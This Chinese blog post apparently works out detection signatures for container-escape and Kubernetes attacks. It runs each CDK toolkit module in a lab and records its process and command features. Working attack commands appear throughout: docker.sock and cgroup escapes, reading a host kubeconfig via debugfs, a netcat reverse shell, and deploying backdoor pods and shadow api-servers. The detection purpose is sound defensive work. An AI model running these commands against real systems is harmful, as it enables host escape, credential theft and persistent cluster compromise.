img

  • 容器逃逸-docker-runc CVE-2019-5736
  • 容器逃逸-containerd-shim CVE-2020-15257
  • 容器逃逸-docker.sock逃逸PoC(docker-in-docker)
  • 容器逃逸-docker.sock命令执行
  • 容器逃逸-Docker API(2375)命令执行
  • 容器逃逸-挂载逃逸(特权容器)
  • 容器逃逸-Cgroup逃逸(特权容器)
  • 容器逃逸-Procfs目录挂载逃逸
  • 容器逃逸-Ptrace逃逸PoC
  • 容器逃逸-lxcfs cgroup错误配置逃逸
  • 容器逃逸-重写Cgroup以访问设备
  • 网络探测-K8s组件探测
  • 信息收集-检查和获取Istio元信息
  • 远程控制-反弹shell
  • 信息窃取-暴力破解镜像源账号
  • 信息窃取-扫描AK及API认证凭据
  • 信息窃取-窃取K8s Secrets
  • 信息窃取-窃取K8s Config
  • 信息窃取-获取K8s Pod Security Policies
  • 权限提升-K8s RBAC绕过
  • 持久化-部署WebShell
  • 持久化-部署后门Pod
  • 持久化-部署影子K8s api-server
  • 持久化-K8s MITM攻击(CVE-2020-8554)
  • 持久化-部署K8s CronJob

CDK网络探测-k8s组件探测

进入测试容器中查看k8s环境变量

1
env |grep KUBE

image-20240117102257655

网络探测扫描整个C段中开放的k8s api端点

1
./cdk run service-probe 10.96.0.1-255

image-20240117102547217

特征提取

进程特征

由于扫描的时间长,该进程很容易被检测到,以bash为父进程,cdk为子进程;cdk的参数为run service-probe [IP范围]。

image-20240117102649759

命令特征

1
./cdk run service-probe [IP范围]

CDK容器逃逸-lxcfs cgroup错误配置逃逸

运行cdk逃逸脚本

1
./cdk run lxcfs-rw

image-20240116183339381

运行debugfs查看host_dev文件系统

1
2
debugfs -w host_dev
cat /root/.kube/config

image-20240116183421548

特征提取

进程特征

(这里换成了ubuntu镜像好查看进程细节)

这个不是短进程,查看进程信息,bash为父进程,debugfs为子进程(参数为-w cdk-test,如果是使用cdk则参数固定为-w host_dev)

image-20240116175344403

命令特征

以下的命令都是固定的,也是由于CDK内置的原因

1
2
./cdk run lxcfs-rw
debugfs -w host_dev

CDK容器逃逸-重写cgroup以访问设备

由于这个和上面的lxcfs cgroup错误配置逃逸十分相似于是没有进行复现

特征提取

进程特征

父进程为bash,子进程为debugfs,参数为cdk_mknod_result

命令特征

1
2
./cdk run rewrite-cgroup-devices 
debugfs cdk_mknod_result

CDK远程控制-反弹shell

远程服务器监听端口

1
nc -lvvp 14444

image-20240117104622305

进入测试容器执行命令

1
./cdk run reverse-shell IP:端口

image-20240117104557076

特征提取

进程特征

这个不是短进程,以bash为父进程,cdk为子进程,参数为run reverse-shell IP:端口

image-20240117104712082

命令特征

1
./cdk run reverse-shell IP:端口

CDK容器逃逸-docker.sock逃逸PoC(docker-in-docker)

进入测试容器,写一个重复执行的脚本去执行CDK命令

1
2
3
4
5
#!/bin/bash

while true; do
./cdk run docker-sock-check /var/run/docker.sock
done

特征提取

进程特征

docker.sock的挂载位置可能改变。

父进程为bash,子进程为cdk,执行的命令参数为run docker-sock-check [docker.sock挂载位置]

image-20240118102141321

命令特征

1
./cdk run docker-sock-check  [docker.sock挂载位置]

CDK容器逃逸-docker.sock命令执行

进入测试容器执行CDK命令

1
./cdk run docker-sock-pwn /var/run/docker.sock touch /host/tmp/pwn-success

image-20240118104324387

特征提取

进程特征

父进程为bash,子进程为cdk,参数为run docker-sock-pwn [docker.sock位置] [CMD命令]

image-20240118104435091

命令特征

1
./cdk run docker-sock-pwn [docker.sock位置] [CMD命令]

CDK容器逃逸-挂载逃逸(特权容器)

进入测试容器,写一个重复执行的脚本执行命令

1
2
3
4
5
#!/bin/bash

while true; do
./cdk run mount-disk
done

image-20240118111207956

特征提取

进程特征

父进程为bash,子进程为cdk,参数为run mount-disk

image-20240118111342522

命令特征

1
./cdk run mount-disk

CDK容器逃逸Cgroup逃逸(特权容器)

进入测试容器执行命令

1
./cdk run mount-cgroup "touch /tmp/exp-success"

image-20240118141449945

查看是否执行成功

image-20240118134635362

特征提取

进程特征

父进程bash,子进程cdk,参数run mount-cgroup [CMD命令]

image-20240118141407989

命令特征

1
./cdk run mount-cgroup [CMD命令]

CDK容器逃逸-Procfs目录挂载逃逸

进入测试容器,写一个重复执行的脚本执行命令

1
2
3
4
5
#!/bin/bash

while true; do
./cdk run mount-procfs /tmp/proc "touch /tmp/exp-success"
done

image-20240118134531304

发现宿主机被写入文件

image-20240118134635362

特征提取

进程特征

父进程为bash,子进程为cdk,参数为run mount-procfs [挂载proc路径] [CMD命令]

image-20240118134937362

命令特征

1
./cdk run mount-procfs [挂载proc路径]  [CMD命令]

CDK容器逃逸-Docker API(2375)命令执行

进入测试容器执行命令

1
./cdk run docker-api-pwn http://192.168.38.210:2375 "touch /host/tmp/docker-api-pwn" 

查看到成功写入

特征提取

进程特征

父进程为bash,子进程为cdk,参数为docker-api-pwn [docker api访问路径] [CMD命令]

命令特征

1
./cdk run docker-api-pwn [docker api访问路径] [CMD命令]

CDK信息收集-检查和获取Istio元信息

执行命令

1
./cdk run istio-check

image-20240126231629668

特征提取

进程特征

父进程为bash,子进程为cdk,参数为run istio-check

命令特征

1
./cdk run istio-chek

网络特征

需要向http://httpbin.org/get发送请求

CDK持久化-部署影子K8s api-server

部署影子k8s api-server的步骤详见我近期的文章-部署影子APIServer,接着进入容器执行命令

1
./cdk run k8s-shadow-apiserver default

可以看到影子APIServer创建成功

image-20240129134613665

特征提取

进程特征

父进程bash,子进程cdk,参数为run k8s-shadow-apiserver default/anonymous/token-path

命令特征

1
./cdk run k8s-shadow-apiserver default/anonymous/token-path

日志审计特征

由于涉及pod创建,所以可以开启日志审计,写一个审计pod创建的日志审计策略捕获特征。由于影子api-server是利用修改api-server启动配置得以利用,所以我们在捕获特征的过程重点关注这个,详细见我近期的文章-Kubernetes日志审计策略

CDK持久化-部署K8s CronJob

进入测试容器,执行命令

1
./cdk run k8s-cronjob default min alpine "echo hellow;echo cronjob"

特征提取

进程特征

父进程 bash,子进程cdk,参数run k8s-cronjob [default|anonymous|service-account-token-path] [min|hour|day|cron-expr] [IMAGE] [ARGS]

命令特征

1
./cdk run k8s-cronjob [default|anonymous|service-account-token-path] [min|hour|day|cron-expr] [IMAGE] [ARGS]

日志审计特征

由于涉及cronjob创建,所以可以开启日志审计,写一个审计cronjob创建的日志审计策略捕获特征,详细见我近期的文章-Kubernetes日志审计策略

CDK持久化-部署后门Pod

进入测试容器,执行命令

1
./cdk run k8s-backdoor-daemonset default ubuntu

特征提取

进程特征

父进程 bash,子进程cdk,参数run k8s-backdoor-daemonset [default|anonymous|service-account-token-path] [image]

命令特征

1
./cdk run k8s-backdoor-daemonset [default|anonymous|service-account-token-path]  [image]

日志审计特征

由于涉及pod创建,所以可以开启日志审计,写一个审计pod创建的日志审计策略捕获特征。后门pod通常会挂载宿主机/目录,可以作为特征在日志审计中捕获,详细见我近期的文章-Kubernetes日志审计策略

本文采用CC-BY-SA-3.0协议,转载请注明出处
Author: Sally